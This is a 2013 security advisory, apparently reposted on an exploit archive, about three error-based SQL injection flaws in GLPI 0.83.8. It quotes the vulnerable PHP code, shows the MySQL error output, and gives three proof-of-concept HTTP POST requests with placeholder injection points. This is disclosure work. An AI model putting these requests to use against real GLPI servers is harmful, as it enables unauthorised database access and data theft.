Exploit the possiblities

GLPI 0.83.8 SQL Injection

GLPI 0.83.8 SQL Injection
Posted Jun 20, 2013
Authored by Humberto Cabrera | Site zeroscience.mk

GLPI version 0.83.8 suffers from multiple error-based SQL injection vulnerabilities. Input passed via the POST parameter 'users_id_assign' in '/ajax/ticketassigninformation.php' script, POST parameter 'filename' in '/front/document.form.php' script, and POST parameter 'table' in 'glpi/ajax/comments.php' script is not properly sanitized before being used in SQL queries. This can be exploited by a malicious attacker to manipulate SQL queries by injecting arbitrary SQL code in the affected application.

tags | exploit, arbitrary, php, vulnerability, sql injection
MD5 | 1e1df9104c045a0b7fe5bfe4c5adeba3

GLPI 0.83.8 SQL Injection

Change Mirror Download

GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' script is not properly sanitised before
being used in SQL queries. This can be exploited by a malicious
attacker to manipulate SQL queries by injecting arbitrary SQL code
in the affected application.


======================================================================
/inc/db.function.php:
---------------------

274: function countElementsInTable($table, $condition="") {
275: global $DB;
276:
277: if (is_array($table)) {
278: $table = implode('`,`',$table);
279: }
280:
281: $query = "SELECT COUNT(*) AS cpt
282: FROM `$table`";
283:
284: if (!empty($condition)) {
285: $query .= " WHERE $condition ";
286: }
287:
288: $result =$DB->query($query);
289: $ligne = $DB->fetch_array($result);
290: return $ligne['cpt'];
291: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT COUNT(*) AS cpt
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
AND `glpi_tickets_users`.`users_id` = \'2\'\'
AND `glpi_tickets_users`.`type` = \'2\'
AND `glpi_tickets`.`is_deleted` = 0
AND `glpi_tickets`.`status`
NOT IN (\'solved\', \'closed\')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
AND `glpi_tickets`.`is_deleted` = 0
' at line 3
Backtrace :
/var/www/html/glpi/inc/db.function.php :288 DBmysql->query()
/var/www/html/glpi/inc/commonitilobject.class.php :362 countElementsInTable()
/var/www/html/glpi/ajax/ticketassigninformation.php :66 CommonITILObject->countActiveObjectsForTech()
/var/www/html/glpi/ajax/ticketassigninformation.php


======================================================================
/inc/document.class.php:
------------------------

1221: static function isValidDoc($filename) {
1222: global $DB;
1223:
1224: $splitter = explode(".",$filename);
1225: $ext = end($splitter);
1226:
1227: $query="SELECT *
1228: FROM `glpi_documenttypes`
1229: WHERE `ext` LIKE '$ext'
1230: AND `is_uploadable`='1'";
1231:
1232: if ($result = $DB->query($query)) {
1233: if ($DB->numrows($result)>0) {
1234: return Toolbox::strtoupper($ext);
1235: }
1236: }
1237: return "";
1238: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT *
FROM `glpi_documenttypes`
WHERE `ext` LIKE \'1\'\'
AND `is_uploadable`=\'1\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
Backtrace :
/var/www/html/glpi/inc/document.class.php :1232 DBmysql->query()
/var/www/html/glpi/inc/document.class.php :1088 Document::isValidDoc()
/var/www/html/glpi/inc/document.class.php :275 Document::uploadDocument()
/var/www/html/glpi/inc/commondbtm.class.php :878 Document->prepareInputForUpdate()
/var/www/html/glpi/front/document.form.php :99 CommonDBTM->update()
/var/www/html/glpi/front/document.form.php


======================================================================
/inc/dbmysql.class.php:
-----------------------

364: function list_tables($table="glpi_%") {
365: return $this->query("SHOW TABLES LIKE '".$table."'");
366: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Backtrace :
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365 DBmysql->query()
/var/www/html/glpi/inc/db.function.php :1182 DBmysql->list_tables()
/var/www/html/glpi/ajax/comments.php :47 TableExists()
/var/www/html/glpi/ajax/comments.php

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
@dniz0r
Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5146
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5146.php


09.05.2013

----------------
{1}


POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/ticket.form.php
Content-Length: 17
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

users_id_assign=2{SQL_Injection}


----------------
{2}


POST /glpi/front/document.form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/glpi/front/document.form.php?id=4
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
Content-Length: 1699

-----------------------------19302542618340
Content-Disposition: form-data; name="entities_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="is_recursive"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="name"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="comment"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="current_filepath"


-----------------------------19302542618340
Content-Disposition: form-data; name="current_filename"


-----------------------------19302542618340
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
Content-Type: application/octet-stream


-----------------------------19302542618340
Content-Disposition: form-data; name="upload_file"


-----------------------------19302542618340
Content-Disposition: form-data; name="link"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="documentcategories_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="mime"

application/octet-stream
-----------------------------19302542618340
Content-Disposition: form-data; name="update"

Update
-----------------------------19302542618340
Content-Disposition: form-data; name="_read_date_mod"

2013-06-14 20:27:56
-----------------------------19302542618340
Content-Disposition: form-data; name="id"

4
-----------------------------19302542618340
Content-Disposition: form-data; name="_glpi_csrf_token"

f27853afa3e705b5042c0ae4d135679c
-----------------------------19302542618340--


----------------
{3}


POST /glpi/ajax/comments.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://localhost/glpi/front/planning.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2

value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907


----------------

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